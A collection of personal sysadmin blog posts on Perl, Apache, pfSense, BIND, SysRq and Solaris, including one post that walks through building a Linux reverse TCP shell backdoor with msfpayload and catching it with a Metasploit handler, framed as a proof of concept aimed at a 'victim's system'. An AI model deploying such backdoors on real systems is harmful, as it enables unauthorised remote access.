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Perl - Remove all blank lines from a file

Remove all blank lines from a file using Perl:

perl -ne 'print unless /^\s+$/ ' test.txt


Msfpayload Greatness - Creating a Simple Backdoor

So it's Saturday night, I don't have a date, nor am I drunk, so lets hack!

I'm not a Metasploit ninja what so ever, and the basic MSF knowledge I have is playing with it via msfconsole. I've heard of msfpayload and its capabilities, but I've never gotten a chance to play around with it until now. Holyshit, msfpayload is freaking awesome! Msfpayload essentially gives you the ability to export payloads into a standalone binary executable or dll and yet even cooler, as well as the actual raw shellcode representation in either C, C#, Perl, Ruby, JS, VBA, and Python.

To illustrate its greatness, its dead simple to create a standalone backdoor that you can deploy onto any system.

Syntax is straight forward:

[email protected]:~# msfpayload -h

    Usage: /opt/metasploit/apps/pro/msf3/msfpayload [< options >]  < payload > [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>


    -h       Help banner
    -l       List available payloads

So lets create our self a simple tcp reverse shell. Communicating with the payload is practically identical as with msfconsole, in this case the LHOST, listening parameter is required. X, parameter is saying that we want a binary executable, and we save the file as cool_shit.

[email protected]:~# msfpayload linux/x86/shell/reverse_tcp LHOST= X > cool_shit
Created by msfpayload (
Payload: linux/x86/shell/reverse_tcp
Length: 71
Options: {"LHOST"=>""}

At this point, assuming the backdoor has been copied to the victim's system. The attacking computer can initiate the payload.

[email protected]:~# msfcli multi/handler payload=linux/x86/shell/reverse_tcp LHOST= E
[*] Initializing modules...
[-] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" ( and accepting
TCP/IP connections on port 5432?

payload => linux/x86/shell/reverse_tcp
[*] Started reverse handler on
[*] Starting the payload handler...

From here the attacker waits, until the backdoor is run on the victims computer.
Reverse TCP Shell

Their a few gotchas and quirks that I noticed. The payload handler has to initiated on the attacker's system prior to running the backdoor, other wise the reverse shell backdoor will crash.

[email protected]-vm:~$ ./cool_shit
Segmentation fault (core dumped)

(Detailed strace output)

xecve("./cool_shit", ["./cool_shit"], [/* 20 vars */]) = 0
[ Process PID=4859 runs in 32 bit mode. ]
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("")}, 102) = -1 ECONNREFUSED (Connection refused)
syscall_4294967165(0xffaa1000, 0x1000, 0x7, 0, 0x3, 0) = -1 (errno 38)
syscall_4294967043(0x3, 0xffaa15b8, 0xffff0cff, 0, 0x3, 0) = -1 (errno 38)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x66ffaa} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

The second quirk was that I wasn't able to properly get a native shell session, but rather just limited to session's commands
Reverse TCP Shell

Even the process itself on the victim's system gave /bin//sh instead of /bin/sh ....

root 4227 0.0 0.1 61364 3052 ? Ss 22:53 0:00 /usr/sbin/sshd -D
root 4323 0.0 0.2 109784 4280 ? Ss 22:53 0:00 \_ sshd: tony [priv]
tony 4359 0.0 0.0 109932 1948 ? S 22:53 0:00 | \_ sshd: [email protected]/1
tony 4360 0.0 0.1 26908 4024 pts/1 Ss 22:53 0:00 | \_ -bash
tony 4874 0.0 0.0 4444 652 pts/1 S+ 23:48 0:00 | \_ /bin//sh

I haven't done much research on this quirk, it may just be some mistake on my end.

Obviously, malicious backdoors are a lot more sophisticated than this, however the fact that the Metasploit Framework lets us easily create them, as proof-of-concept this is truly amazing.



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Can't locate Time/ CPAN error on CentOS 7

So the default Perl installation that ships with CentOS 7 minimal install does not include Time::HiRes, which is necessary if you want to use CPAN.


Can't locate Time/ in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 /root) at /usr/share/perl5/Net/ line 313.


yum install perl-Time-HiRes



Varnish VCL Syntax Check

Gigabit Ethernet and pfSense awesomeness

For quite sometime now, I've been wanting to upgrade my home network to Gigabit Ethernet. So finally the time had come to finally retired my aging Linksys WRT54GL wireless router. Flashed with DD-WRT, my WRT54GL has served me well for well over six years. For it's replacement I opted to completely geek out with a dedicated firewall and access point solutions. For my firewall I chose pfSense. Over the last few months, I heard nothing but good things regarding this FreeBSD firewall system; primarily because of it's ease of use. This is what first attracted me to it since practically all my real firewall experience is through administrating it through their respective web interface, ie Cisco Adaptive Security Device Manager for ASA firewalls. (Yes, I really should learn how to do this from the command line, but I digress.)

For pfsense, I used a barebore mini 1.86GHz (dual core) Atom computer. OEM Production 2550L2D-MxPC Intel NM10 2 x 204Pin Intel GMA 3650 Black Mini / Booksize Barebone System. For storage and memory, I had a spare of two 1GB 1066 SODIMM modules and a spare 64GB SSD drive, which is more than plenty for pfSense, if not overkill.
The install and configuration of pfSense itself is absolutely dead simple. Essentially after the install, you just need to specify which is your LAN and WAN interfaces and that's it! My WAN internet connection, is provided via DHCP and a cool thing that pfSense supports is the ability to specify a custom mac address for the new firewall machine. This is handy because it basically saved me from having to call Time Warner Cable to informed them about my new replacement networking device.

Although pfSense supports the addition of wireless card interfaces so it can also function as an accesses point. I opted to use a dedicated wireless access point for my wireless networking. I had Linksys E1000 wireless access that was given to me a few a months ago, so I flashed it with DD-WRT and used the Linksys E1000 as my new wireless access point. So far with this newer wireless access point and newer version of DD-WRT, I noticed that the wireless range of this new device extends much farther than then the old WRT54GL.

The primary reason why I chose to deploy pfSense on my network besides its strong focused on security was because it's essentially a small FreeBSD base system, which has the ability to install numerous third party packages. So far I've enabled anti-virus and intrusion detection transparent proxy solutions using HAVP and Snort (this alone is fucking awesome). As well as some really cool network statistics graphing collection daemons.

With this $130.00 investment, I essentially have the equal level of capabilites that I would've otherwise have with another really fancy commercial firewall/router solution that would've cost thousands of dollars to deploy. The beauty of open source.

To do:
VLAN wired and wireless network.

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CentOS: Apache - Directory index forbidden by Options directive

By default, the CentOS Apache configuration does not allow index directory listings. So I enabled Indexes Option's for the directory that I wanted allow this feature within my custom vhost . To my surprise after I made the Apache config update, directory listing was not working and I was still getting the default CentOS Apache welcome page.

Apache error log:

[Sat Apr 26 14:42:11 2014] [error] [client] Directory index forbidden by Options directive: /www/mysecureshit/

It turns out the default /etc/httpd/conf.d/welcome.conf file option overrides the +Indexing Options that I explicity enabled within my custom vhost.

# This configuration file enables the default "Welcome"
# page if there is no default index page present for
# the root URL.  To disable the Welcome page, comment
# out all the lines below.

    Options -Indexes
    ErrorDocument 403 /error/noindex.html

The fix was to simply disable welcome.conf.


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Emergency reboot in Linux via SysRq

When your Linux system has completely shit itself, and an emergency reboot needs to be made. Linux Magic System Request Keys to the rescue.

[[email protected] ~]# echo "1" > /proc/sys/kernel/sysrq
[[email protected] ~]# echo "b" > /proc/sysrq-trigger



Reverse DNS Slave Setup

So a few months back, I enabled reverse DNS on my home BIND server ( One thing that I forgot to implement was the additional slave DNS reverse setup. Like many things in BIND, the slave revserse DNS setup was dead simple.

It's simply just a matter of adding the following entry to the slave's named.conf with the updated master's DNS IP specified in the masters directive and reload BIND.

zone "" IN {
        type slave;
        file "etc/zones/db.";
        allow-query { any; };
        masters { MasterDNSIP; };

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Installing gmond in Solaris

Package is installed using OpenCSW

Install the installation source

[email protected]:~# pkgadd -d

I updated my PATH via ~/.profile

export PATH=/usr/bin:/usr/sbin:/opt/csw/bin

Install the CSWgangliaagent package

[email protected]:~# pkgutil --install CSWgangliaagent

Enable the service in SMF

[email protected]:~# svcadm enable svc:/network/cswgmond:default

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